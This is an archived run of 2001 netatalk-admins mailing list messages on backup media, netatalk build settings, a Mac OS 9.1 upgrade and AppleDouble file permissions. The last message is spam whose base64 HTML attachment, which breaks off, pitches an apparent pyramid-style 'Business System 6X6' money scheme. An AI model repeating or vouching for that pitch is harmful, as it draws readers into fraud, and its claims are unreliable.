Hmm. methinks this looks like a private discussion, and not anything vaguely
related to netatalk.

-----Original Message-----
From: hollow@kingcreole.mr.itd.umich.edu
[mailto:hollow@kingcreole.mr.itd.umich.edu]On Behalf Of Harald Wagener
Sent: Wednesday, 1 August 2001 18:53
To: netatalk-admins@umich.edu
Cc: netatalk-admins@umich.edu
Subject: Re: Backup Software Question


Chris Garrigues wrote:
>
> > From:  Harald Wagener <hwagener@fcb-wilkens.com>
> > Date:  Tue, 31 Jul 2001 10:47:02 +0200
> >
> > Chris Garrigues wrote:
> > >
> > > > From:  Christian Schmidt <ChriSchmiLi@gmx.de>
> > > > Date:  Mon, 30 Jul 2001 22:52:13 +0200
> >
> > [snip]
> > > > Well, a backup stored on a HD isn't a real backup IMHO, is it?
> > > > What if your backup-HD crashes?
> > > (by the way, I fon't think I wrote this, but the argument still holds
true).
> > > what if your tape becomes unreadable?
> >
> > well, too bad, I hope You check Your backups regularly for consitstence
and
> > functionality.
>
> I do.  This is easy to do on the RAID array where they live.
>
> > > How is a backup on a hard disk not a backup?
> >
> > It's not a _real_ backup. It's a redundant storage with identical points
of
> > failure. Since hard discs are random access media, they can also be
randomly
> > deleted. This is harder with tapes that are handled properly, i.e.
stored in a
> > fire proof water sealed safe off site.
>
> It's also harder to do when it's on an off-site RAID array to which the
users
> only have read access.  I wouldn't consider it as having identical points
of
> failure since it's on a different hard drive using RAID technology instead
of
> single drive technology on a different computer system on a different (but
> also secured) network in a different building on a different power grid.

If You take systems safety as I learned it (I might be wrong, anyway), the
differences between a
hard disk and a RAID array can easily be seen if You draw a fault tree: the
points
of failure are the same,
but in the RAID array failure of one disk is 'not critical'.
most important here is that there is a different network and a different
power
grid.
Just to be nitpicking: The power grid is also served by another power
company/power plant?
I assume You have an UPS at hand, so this would weaken the criticality of
this
point as well.


But this is entirely different than the scenario someone offered, where You
have a
machine in hot standby that simply gets a copy of the original machine's
hard disk
each night.


> > Secured tapes, even if they are stored in the same room as the machine
being
> > backed up, are also less affected by power surges or other electrical
> > instabilities (as long as the sparks don't fly...).
> >
> > It is also easier to replace the read/write mechanism (i.e., the drive)
when using
> > a tape backup solution than it is with a hard disk.
>
> Easier than replacing one hot-pluggable drive in a RAID array?

a hot pluggable drive in a RAID array is not the typical hard disk on a hot
stand
by machine
(i.e. not everybody can afford a RAID system, even a second one just for the
prupose of backup systems).

>
> > So, if You take care of Your backups, there is a significant decrease in
Your
> > chances of losing data. Nothing of this is foolproof, nonetheless.
>
> This is certainly true, but it doesn't have anything to do with whether
the
> media is tape or disk.

By the way, it does. It depends on the MTBF of the media used. In Germany
for
example, You need to store
financial data that has been digitally produced for ten years for the tax
collectors to check if You did everything right.
print copies won't suffice from 2002 on. How many disks You use are older
than 8
years? 12 years?

Long term storage of magnetic tapes is a field well researched. Not even CDs
come
close, if You remember the press about certain
fungi destroying cd's (in extreme weather conditions, they say today). It's
also
true that it is often difficult to get tape readers that read tapes used ten
years
ago (Your university might have one, but it probably won't work anymore).

Well, I think we can agree that if the storage used is significantly
different
(the difference vector
containing factors such as physical distance), the chances that Your backup
solution will help You
in disaster recovery will rise as significantly.

> I just like not having to change tapes every day.

That's the reason why automated libraries exist.

>  I also like my users being
> able to restore their files through a web interface that I wrote.

And we would like our users not to delete their files in the first place (-:
.
This cannot be technically prevented on the working set

As has been said before, different solutions serve different needs of
different
people.

I am quite confident that Your solution works sweet for You. And I don't see
my
point
being attacked by Yours. Your solution is an alternative to mine and covers
the
most important
points needed to have a backup rather than a copy. If You want to discuss
this
topic further,
I suggest we do it off list since we are pretty much off topic right now.

Regards,
	Harald

> Chris
>
> --
> Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
> virCIO                          http://www.virCIO.Com
> 4314 Avenue C
> Austin, TX  78751-3709          +1 512 374 0500
>
>   My email address is an experiment in SPAM elimination.  For an
>   explanation of what we're doing, see http://www.DeepEddy.Com/tms.html
>
>     Nobody ever got fired for buying Microsoft,
>       but they could get fired for relying on Microsoft.
>
>   ------------------------------------------------------------------------
----------
>    Part 1.2Type: application/pgp-signature

--
Harald Wagener      |                                Systemadministrator
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252
An der Alster 42    |                              Fax.:+49-40-2881-1263
20099 Hamburg       |                         http://www.fcb-wilkens.com



From netatalk.administrators-errors@umich.edu  Wed Aug  1 20:41:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA16513
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 20:41:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA00060
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 20:41:14 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA00041
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 20:41:13 -0400 (EDT)
Received: from po.kitokitonet.ne.jp (proxy.kitokitonet.ne.jp [210.151.32.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA29898
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 20:41:09 -0400 (EDT)
Received: from [192.168.0.100] (fi-ppp155.kitokitonet.ne.jp [210.151.32.155])
	by po.kitokitonet.ne.jp (8.9.3+3.1W/3.7Wpl2-2001070915)
	id JAA04356
	for <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 09:41:16 +0900 (JST)
X-Authentication-Warning: proxy.kitokitonet.ne.jp: Host fi-ppp155.kitokitonet.ne.jp [210.151.32.155] claimed to be [192.168.0.100]
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 02 Aug 2001 09:41:13 +0900
Subject: Re: quark file locking
From: seiji <seiji@kitokitonet.ne.jp>
To: netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B78ED0B9.DA58%seiji@kitokitonet.ne.jp>
In-Reply-To: <Pine.GSO.3.96.1010801115925.6433A-100000@orion.sfsu.edu>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-2022-JP"
Content-transfer-encoding: 7bit

HI

I am using pre-asun2.1.4-37b.tar.gz on Redhat 7.1
So far there is not a problem even MacOSX even Quark.


I change this part of "Makefile" like the lower part.

Before a change
--------------------------------------------------------
# for system-level binaries
SBINDIR=$(DESTDIR)/sbin
# for user-level binaries
BINDIR=$(DESTDIR)/bin
# for program libraries (*.a)
LIBDIR=$(DESTDIR)/lib
# for machine-independent resources (pagecount.ps, etc.)
RESDIR=$(DESTDIR)/etc
# for configuration files (AppleVolumes.system, etc.)
ETCDIR=$(DESTDIR)/etc
# for include files
INCDIR=$(DESTDIR)/include
# Root of man pages. Subdirectories will be
# ${MANDIR}/man1, ${MANDIR}/man4, and ${MANDIR}/man8.
MANDIR=$(DESTDIR)/man
$B!!!!!!!!!!!!!!!!!!!!!!(J
#INSTALL_PREFIX=
#SBINDIR=${INSTALL_PREFIX}/usr/sbin
#BINDIR=${INSTALL_PREFIX}/usr/bin
#LIBDIR=${INSTALL_PREFIX}/usr/lib
#RESDIR=${INSTALL_PREFIX}/usr/lib/atalk
#ETCDIR=${INSTALL_PREFIX}/etc/atalk
#INCDIR=${INSTALL_PREFIX}/usr/include
#MANDIR=${INSTALL_PREFIX}/usr/man

---------------------------------------------------------

After a change
---------------------------------------------------------
# for system-level binaries
#SBINDIR=$(DESTDIR)/sbin
# for user-level binaries
#BINDIR=$(DESTDIR)/bin
# for program libraries (*.a)
#LIBDIR=$(DESTDIR)/lib
# for machine-independent resources (pagecount.ps, etc.)
#RESDIR=$(DESTDIR)/etc
# for configuration files (AppleVolumes.system, etc.)
#ETCDIR=$(DESTDIR)/etc
# for include files
#INCDIR=$(DESTDIR)/include
# Root of man pages. Subdirectories will be
# ${MANDIR}/man1, ${MANDIR}/man4, and ${MANDIR}/man8.
#MANDIR=$(DESTDIR)/man

INSTALL_PREFIX=
SBINDIR=${INSTALL_PREFIX}/usr/sbin
BINDIR=${INSTALL_PREFIX}/usr/bin
LIBDIR=${INSTALL_PREFIX}/usr/lib
RESDIR=${INSTALL_PREFIX}/usr/lib/atalk
ETCDIR=${INSTALL_PREFIX}/etc/atalk
INCDIR=${INSTALL_PREFIX}/usr/include
MANDIR=${INSTALL_PREFIX}/usr/man
--------------------------------------------------


And I change this part of "Makefile" like the lower part.

Before a change
CRYPTODIR=/usr/local/ssl

After a change
#CRYPTODIR=/usr/local/ssl


And I change this part of "Makefile" like the lower part.

Before a change
#DESDIR=/usr/local

After a change
DESDIR=/usr/local



And I change this part of "etc/afpd/Makefile" like the lower part.

Before a change
CFLAGS=****

After a change
CFLAGS=**** -DSHADOWPW


And I change this part of "sys/linux/Makefile" like the lower part.
(In case of me, there was not a problem of a lock of Quark when I took out
this option.)

Before a change
DEFS=$$OSDEFS $$MACHINEDEFS $$QUOTADEF

After a change
DEFS=$$OSDEFS $$MACHINEDEFS $$QUOTADEF -DUSE_FLOCK_LOCKS



# make
# make install
# cd config
# cp AppleVolumes.default /etc/atalk
# cp AppleVolumes.system /etc/atalk
# cp atalkd.conf /etc/atalk
# cp papd.conf /etc/atalk
# cd /etc/atalk


/usr/bin/afppasswd -acf
(Then a file named "afppasswd" comes "/usr/lib/atalk/".)

/usr/bin/afppasswd username
(Input a password twice.)

In "/etc/atalk/afpd.conf" file, add "-passwdfile /usr/lib/atalk/afppasswd"



Good Luck!!

====
naka
====


From netatalk.administrators-errors@umich.edu  Wed Aug  1 20:52:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA17128
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 20:52:53 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA16812
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 20:52:53 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA16791
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 20:52:53 -0400 (EDT)
Received: from proto.d2p.com.au (198.142.106.218.optusnet.com.au [198.142.106.218] (may be forged))
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA16658
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 20:52:48 -0400 (EDT)
Received: from [192.168.1.28] ([192.168.1.28])
	by proto.d2p.com.au (8.9.3/8.9.3) with ESMTP id UAA01593;
	Thu, 2 Aug 2001 20:50:44 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 02 Aug 2001 10:52:40 +1000
Subject: Re: atalklogger
From: Luke McNeilage <lmn@d2p.com.au>
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>,
        "LINUX-ATALK@NETSPACE.ORG" <LINUX-ATALK@netspace.org>
Message-ID: <B78EE178.1C5E%lmn@d2p.com.au>
In-Reply-To: <NDBBLIPGCLLELIOOICKOCEPFDPAA.heath@davesworld.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

You will have to upgrade your ATM, but the allover performance of 9.1 is
great. You may wish to turn off the multi-user and security features. It has
no troubles with netatalk.
-- 
Luke McNeilage
Technical Director
D2P (Australasia) Pty Ltd
lmn@d2p.com.au
Tel: +61 (0)3 9429 3233  Fax: +61 (0)3 9427 0929
Mobile: 0419 512 868  Web: www.d2p.com.au


> From: Heath Henderson <heath@davesworld.net>
> Reply-To: heath@davesworld.net
> Date:        Wed, 1 Aug 2001 17:17:10 -0500
> To: LINUX-ATALK@LISTS.netspace.org
> Subject: Re: atalklogger
> 
> Has anyone seen big or even slight problems with system 9.1 and the
> following.
> We are looking to update from 8.6 and I am ready to go to system 9.0.4, but
> some say we should be ok going to 9.1.  Please let me know what is going on
> in Mac Land!
> 
> Currently
> Mac OS X Server 1.0.2
> Macintosh Manager 1.4.1
> System 8.6 on all works fine.
> with
> 
> Quark 4.1 Express and Passport
> Photoshop 5.5
> Pagemaker 6.5.2
> Illustrator 8.0.2
> ATM Deluxe
> Appleworks 5.0.4
> and Agfa Snap Scan (version 3.x something I think)
> Office 2001 Word, Excel, and Powerpoint
> 
> I think this is it.  We also use mounted volumes from Macintosh Manager
> (Shared Folders/Drives) to a Netatalk server (asun 2.1.4-7 I think.)
> 
> If there are any problems that people have had directly related to 9.1 or
> 9.0.4 please let me know as I want to get this moving!!
> 
> Thanks
> 
> Heath Henderson
> 
> 
> 
> 
> 
> 
> -----Original Message-----
> From: Appletalk on Linux [mailto:LINUX-ATALK@LISTS.NETSPACE.ORG]On
> Behalf Of Alessandra La Spina
> Sent: Wednesday, August 01, 2001 9:25 AM
> To: LINUX-ATALK@LISTS.NETSPACE.ORG
> Subject: atalklogger
> 
> 
> Hello,
> 
> I'm looking for a atalkd logger . Searching in the LINUX-ATALK archive I
> discovered that someone (Benjamin Gilbert ) has already written such a
> script. But the server prism.simplenet.com (the url from where you could
> download the file was http://prism.simplenet.com/atalklogger.tcl.gz) does
> not exist anymore. Can anyone help me to retrieve the file o suggest me
> something similar?
> Thanks.
> 
> 
> 
> 
> 
> 
> Alessandra La Spina
> __________________________
> Dipartimento di Matematica
> Universita' di Pisa
> 


From netatalk.administrators-errors@umich.edu  Wed Aug  1 21:04:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA17897
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 21:04:58 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA13676
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 21:04:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA13657
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 21:04:42 -0400 (EDT)
Received: from dave-world.net (mail.dave-world.net [204.189.73.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA29402
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 19:09:56 -0400 (EDT)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.05) id ACC7801700EA; Wed, 01 Aug 2001 18:12:07 -0500
Reply-To: <heath@davesworld.net>
From: "Heath Henderson" <heath@davesworld.net>
To: <heath@davesworld.net>, "Mac Supporters" <MAC-SUPPORTERS@JISCMAIL.AC.UK>,
        "Appletalk on Linux" <LINUX-ATALK@LISTS.NETSPACE.ORG>,
        "Netatalk Admins" <netatalk-admins@umich.edu>
Subject: OS 9.1 update ?
Date: Wed, 1 Aug 2001 18:13:21 -0500
Message-ID: <NDBBLIPGCLLELIOOICKOEEPGDPAA.heath@davesworld.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <NDBBLIPGCLLELIOOICKOCEPFDPAA.heath@davesworld.net>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal

Sorry for the previous post.  Subject was wrong.

Here it is again?

Has anyone seen big or even slight problems with system 9.1 and the
following.
We are looking to update from 8.6 and I am ready to go to system 9.0.4, but
some say we should be ok going to 9.1.  Please let me know what is going on
in Mac Land!

Currently
Mac OS X Server 1.0.2
Macintosh Manager 1.4.1
System 8.6 on all works fine.
with

Quark 4.1 Express and Passport
Photoshop 5.5
Pagemaker 6.5.2
Illustrator 8.0.2
ATM Deluxe
Appleworks 5.0.4
and Agfa Snap Scan (version 3.x something I think)
Office 2001 Word, Excel, and Powerpoint

I think this is it.  We also use mounted volumes from Macintosh Manager
(Shared Folders/Drives) to a Netatalk server (asun 2.1.4-7 I think.)

If there are any problems that people have had directly related to 9.1 or
9.0.4 please let me know as I want to get this moving!!

Thanks

Heath Henderson






-----Original Message-----
From: Appletalk on Linux [mailto:LINUX-ATALK@LISTS.NETSPACE.ORG]On
Behalf Of Alessandra La Spina
Sent: Wednesday, August 01, 2001 9:25 AM
To: LINUX-ATALK@LISTS.NETSPACE.ORG
Subject: atalklogger


Hello,

I'm looking for a atalkd logger . Searching in the LINUX-ATALK archive I
discovered that someone (Benjamin Gilbert ) has already written such a
script. But the server prism.simplenet.com (the url from where you could
download the file was http://prism.simplenet.com/atalklogger.tcl.gz) does
not exist anymore. Can anyone help me to retrieve the file o suggest me
something similar?
Thanks.






Alessandra La Spina
__________________________
Dipartimento di Matematica
Universita' di Pisa



From netatalk.administrators-errors@umich.edu  Wed Aug  1 21:06:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA18080
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 21:06:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA05347
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 21:06:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA05333
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 21:06:45 -0400 (EDT)
Received: from mail.theempire.mine.nu (24-216-136-131.hsacorp.net [24.216.136.131])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id VAA05287
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 21:06:44 -0400 (EDT)
Received: (qmail 18046 invoked from network); 2 Aug 2001 01:06:43 -0000
Received: from unknown (HELO ?192.168.1.1?) (192.168.1.1)
  by 0 with SMTP; 2 Aug 2001 01:06:43 -0000
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Wed, 01 Aug 2001 20:06:43 -0500
Subject: No file permissions on new .AppleDouble files
From: Zachary Kotlarek <profplump@engineer.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B78E11D3.6313%profplump@engineer.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

'Ello,
    I'm writing in regard to a problem I've had recently with afpd in
1.5pre6 on Linux 2.4.6 (final).

    It serves fine, I can duplicate, delete, and manipulate files on shared
volumes. I can create new folders. However, when I make new files (from an
application or copying to the disk from the Finder) I get various
permissions related errors.

For example, when copying in the Finder:
"The file xxx cannot be copied because it is locked. Stop|Continue"
The file is created on the server, but is empty. The complimentary file is
created in .AppleDouble.
I can manipulate this empty file after it is created however, a permissions
error is returned each time I do. After I dismiss the error the file does
move.

After looking into this for a while, it seems that the file in .AppleDouble
is created with the permissions 000. ls just returns a bunch of dashes for
permissions information. The main file seems to have the proper permissions.
If I chmod the .AppleDouble file to match the main file I can
manipulate/delete it without error.

So my question is: why are the .AppleDouble files being created with no/bad
permissions? How can I fix it? Any help would be greatly appreciated.

    Zach


-- 

The Empire's Website:
http://TheEmpire.mine.nu/

=================================================
The box said "Requires Windows 2000 or better"...
so I bought a Macintosh.
=================================================



From netatalk.administrators-errors@umich.edu  Wed Aug  1 21:38:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA20835
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 21:38:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA15451
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 21:38:45 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA15425
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 21:38:45 -0400 (EDT)
Received: from vina.net (tsukasa1.tsukasa-unet.ocn.ne.jp [210.162.254.114])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id VAA14559
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 21:38:25 -0400 (EDT)
Message-Id: <200108020138.VAA14559@kingcreole.mr.itd.umich.edu>
From: biz@6x6.net
To: netatalk-admins@umich.edu
Subject: ATTENTION! Well-Paid Job in the Internet!
Reply-To: biz@6x6.net
Date: 02 Aug 2001 00:31:47 +0300
X-Priority: 2 (High)
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_8arF3SLL~ny30KKzi"

------=_8arF3SLL~ny30KKzi
Content-Type: text/plain;charset=Windows-1251
Content-Transfer-Encoding: 8bit

Ńšī÷ķą’ čķōīšģąöč’, ļīńģīņščņå āėīęåķčå !

Please check attachment!   It is very important!

------=_8arF3SLL~ny30KKzi
Content-Disposition: attachment
Content-Type: application/octet-stream;name="biz2.html"
Content-Transfer-Encoding: base64

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5BVFRFTlRJT04hIFRoZSBXZWxsLVBhaWQgSm9iIGlu
IHRoZSBJbnRlcm5ldCE8L3RpdGxlPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIg
Y29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1MSI+PC9oZWFkPjxib2R5
IGJnY29sb3I9IiNGRkZGRkYiPjxjZW50ZXI+PGEgbmFtZT0iZSI+PHRhYmxlIGNlbGxwYWRk
aW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYm9yZGVyPSIwIiB3aWR0aD0iNjYwIj48dHI+PHRk
PjxjZW50ZXI+PGZvbnQgZmFjZT0idmVyZGFuYSIgc2l6ZT0iKzEiPjxiPldlIHdpc2ggWW91
IGEgcGxlYXNhbnQgYW5kIHN1Y2Nlc3NmdWwgZGF5ITwvY2VudGVyPjxkaXYgYWxpZ249InJp
Z2h0Ij48Zm9udCBmYWNlPSJ2ZXJkYW5hIiBzaXplPSIrMiI+PGEgaHJlZj0iI3IiPjxiPklu
IFJ1c3NpYW48L2E+PHRyIGJnY29sb3I9IiMwMDAwNjYiPjx0ZD4mbmJzcDs8L3RhYmxlPjx0
YWJsZSB3aWR0aD0iNjYwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIGJvcmRl
cj0iMCI+PHRyPjx0ZD48dGFibGUgd2lkdGg9IjUxOCIgYm9yZGVyPSIwIiBjZWxsc3BhY2lu
Zz0iMCIgY2VsbHBhZGRpbmc9IjAiPjx0cj48dGQ+PHRhYmxlIHdpZHRoPSI1MDAiIGNlbGxw
YWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYm9yZGVyPSIwIj48dHI+PHRkPjxmb250IGZh
Y2U9InZlcmRhbmEiIHNpemU9IisxIj48Y2VudGVyPjxiPk1ha2UgbW9uZXkgd2l0aG91dCBs
ZWF2aW5nIFlvdXIgY29tcHV0ZXIhPC9iPjwvY2VudGVyPjxwPjxkaXYgYWxpZ249Imp1c3Rp
ZnkiPjxicj48Zm9udCBzaXplPSIyIj5JZiBZb3Ugc2hvdyBzb21lIGludGVyZXN0IGFuZCBw
YXRpZW5jZSBhbmQgdW5kZXJzdGFuZCBhcyBJVCB3b3JrcywgWW91IGNhbiBlYXJuIHVwIHRv
IDxiPiQxMDAsMDAwPC9iPiBhbmQgPGI+bW9yZSEhITwvYj4gRHVyaW5nIHRoZSBmb2xsb3dp
bmcgMTIwIGRheXMgLSBpdCBkZXBlbmRzIG9ubHkgb24gWW91LiBET0VTICBJVCBTRUVNUyBU
TyBCRSBJTVBPU1NJQkxFPz8gUmVhZCB0aGlzIGRvY3VtZW50IHRvIGJlIHN1cmUgdGhlcmUg
aXMgbm8gY2F0Y2ggb3IgZGVjZWl0LiBJZiBZb3UgYXJlIGNvbXBsZXRlbHkgbGF6eSAtIHdl
IGJlZyBZb3VyIHBhcmRvbiBmb3IgdGhlIGFzc3VtcHRpb24hISEsIHRoZW4gdGhpcyAgaXMg
bm90IGZvciBZb3UhISEgWW91J2QgYmV0dGVyIGRvIHNvbWV0aGluZyBsaWtlIHN1cmZpbmcg
ZWl0aGVyIGNsaWNraW5nIG9uIGJhbm5lcnMgb3Igbm90IGRvaW5nIGFueXRoaW5nIGF0IGFs
bC48cD4hISEgSWYgdGhlIG9mZmVyIGhhc24ndCBpbnRlcmVzdGVkIFlvdSwgd2UgYnJpbmcg
b3VyIGFwb2xvZ2llcyBhbmQgaXQgaXMgbm90IG5lY2Vzc2FyeSB0byBnZXQgYW5ncnkgLSAi
U3BhbSIgaGFzIGl0cyBleHBlbnNlcywganVzdCBhcyByYWRpbyBhbmQgVFYsIGJ1dCBkbyBu
b3QgZm9yZ2V0LCB0aGF0IHRoZSBmaXJzdCBiaWxsaW9uYWlyZSBvZiB0aGUgVVNBLCBEYWxl
IENhcm5lZ2llIHNhaWQ6PHA+IkknbGwgYmV0dGVyIGVhcm4gMSUgYXMgYSByZXN1bHQgb2Yg
dGhlIGVmZm9ydHMgb2YgMTAwIG1lbiwgdGhhbiAxMDAlIGFzIGEgcmVzdWx0IG9mIG15IG93
biBlZmZvcnRzLiI8cD48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDA2NiI+PGNlbnRlcj48
YnI+PGI+UklTRSBPTiBUSEUgV0FZIFRPIFRIRSBGSU5BTkNJQUwgSU5ERVBFTkRFTkNFIEFO
RCBGUkVFRE9NISEhPC90YWJsZT48L3RhYmxlPjx0ZCB3aWR0aD0iMTQyIiBiZ2NvbG9yPSIj
MDAwMDY2Ij48dGFibGUgd2lkdGg9IjE0MiIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5n
PSIwIiBib3JkZXI9IjAiPjx0cj48dGQgYmdjb2xvcj0iIzAwMDA2NiI+PGNlbnRlcj48dGFi
bGUgd2lkdGg9IjEyNSIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBib3JkZXI9
IjAiPjx0cj48dGQgYmdjb2xvcj0iI0ZGRkZDQyI+PGZvbnQgZmFjZT0idmVyZGFuYSIgc2l6
ZT0iMiI+PGNlbnRlcj5XZWxjb21lIHRvIHRoZSA8Yj48Zm9udCBjb2xvcj1yZWQ+Njxmb250
IGNvbG9yPWdyZWVuPlg8Zm9udCBjb2xvcj1ibHVlPjY8L2ZvbnQ+PC9mb250PjwvZm9udD4h
PHRyPjx0ZD4mbmJzcDs8dHI+PHRkIGJnY29sb3I9IiNGRkZGQ0MiPjxjZW50ZXI+PHRhYmxl
IHdpZHRoPSIxMTUiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYm9yZGVyPSIw
Ij48dHI+PHRkPjxmb250IGZhY2U9InZlcmRhbmEiIHNpemU9IjEiPkl0IGlzIGRpZmZpY3Vs
dCB0byBiZWxpZXZlIGJ1dCBuZXZlcnRoZWxlc3MgaXQgaXMgbGlrZSB0aGF0ISBQZW9wbGUg
Z2V0IHJpY2hlciBhbmQgcmljaGVyISBTb21lIG9mIHRoZW0gY2FuJ3QgcmVjb3ZlciBmcm9t
IHRoZSBzaG9jayB3aGljaCBoYWQgY29tZSB0b2dldGhlciB3aXRoIGEgaGVhcCBvZiBjcnVz
dCBiYW5rbm90ZXMgZXZlbiBzb21lIG1vbnRocyBsYXRlci4gV2hpbGUgdGhlIG90aGVycyBk
ZWxpYmVyYXRlIGFuZCBkb3VidCwgcGVvcGxlIHRoYXQgYmVsaWV2ZWQgaW4gQnVzaW5lc3Mg
U3lzdGVtIDZYNiBiYXRoZSBub3cgaW4gbW9uZXkhLi4uPC90YWJsZT48dHI+PHRkPiZuYnNw
Ozx0cj48dGQgYmdjb2xvcj0iI0ZGRkZDQyI+PHRyPjx0ZCBiZ2NvbG9yPSIjRkZGRkNDIj48
Y2VudGVyPjx0YWJsZSB3aWR0aD0iMTE1IiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9
IjAiIGJvcmRlcj0iMCI+PHRyPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hIiBzaXplPSIxIj5J
biB2aWV3IG9mIHByb21wdCByYXRlcyBvZiBkZXZlbG9wbWVudCBvZiB0aGUgSW50ZXJuZXQg
YW5kIGVsZWN0cm9uaWMgY29tbWVyY2UgdGhlIG51bWJlciBvZiB1c2VycyBvZiB0aGUgIldv
cmxkIFdpZGUgV2ViIiBncm93cyB3aXRoIHRoZSBncmVhdCBzcGVlZC4gVGhlcmUgYXJlIG1v
cmUgdGhhbiAxNSwwMDAgbmV3IHBlb3BsZSB3aG8gam9pbiB0aGUgSW50ZXJuZXQgZGFpbHku
